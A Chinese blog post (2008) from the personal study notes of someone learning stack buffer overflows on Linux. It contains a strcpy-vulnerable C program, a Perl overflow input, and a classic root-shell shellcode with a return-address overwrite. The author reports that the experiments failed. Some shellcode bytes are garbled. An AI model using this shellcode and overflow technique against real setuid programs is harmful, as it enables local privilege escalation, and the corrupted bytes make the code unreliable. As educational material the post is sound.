Chinaunix首页 | 论坛 | 博客
  • 博客访问: 142634
  • 博文数量: 55
  • 博客积分: 2510
  • 博客等级: 少校
  • 技术积分: 605
  • 用 户 组: 普通用户
  • 注册时间: 2008-04-09 18:51
文章存档

2008年(55)

我的朋友

分类: LINUX

2008-04-13 09:46:48

1 栈操作
具体的函数调用过程:
 
2 缓冲区溢出
2.1
 

#include<stdio.h>

void greeting(char *temp1, char *temp2) {
  char name[400];
  strcpy(name, temp2);
  printf("Hello %s %s\n", temp1, name);
}

int main(int argc, char *argv[]) {
  greeting(argv[1], argv[2]);
  printf("Bye %s %s\n", argv[1], argv[2]);
}

 编译 gcc -g -o meet meet.c

为了产生400个字节的缓冲溢出,还需要学习Perl,现在只需要了解:

'perl -e 'print "A" x 600''

就是输出600个A。

执行命令:./meet Mr 'perl -e 'print "A" x 600''

但是我的由没有成功,具体原因不明,我想把它搞定估计没那么容易,暂时放一放。

2.2 栈溢出的结果:

    1, 拒绝服务,就是段错误之类的。

    2, 返回的eip被修改,导致可能执行恶意代码。

    3, 在2的基础上以root身份执行恶意代码。


3 本地缓冲溢出攻击

3.1 shellcode

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x7 6\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xf f \xf f \xf f/bin/sh";

void main() {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}                                                                    


好多东西在我的机器上实验都没有成功,我估计是因为这些漏洞都已经修复,所以我也就不把这些写在博客上了,毕竟没什么意义。
但是还是要总结一下:
1 栈溢出就是指在局部变量或调用的时候将其他的地址占用,造成了安全漏洞,通过学习了解了为什么suid是一个有漏洞的程序,因为它以root身份运行,所以如果被人站溢出,那么将会以root权限运行恶意程序。
2 堆是动态分配的,堆溢出也是利用了内存边界问题,也就是说申请的空间上添上恶意代码,这样就可以执行而已代码了。
3 就像前面我提到一样,这样的漏洞都是可以有安全措施的,比如内存安全控制机制。
后面的一些内容是关于shellcode的,我的上帝,那么代码要自己敲也太



阅读(1030) | 评论(0) | 转发(0) |
0

上一篇:嵌入式-ARM-LINUX

下一篇:端口扫描

给主人留下些什么吧!~~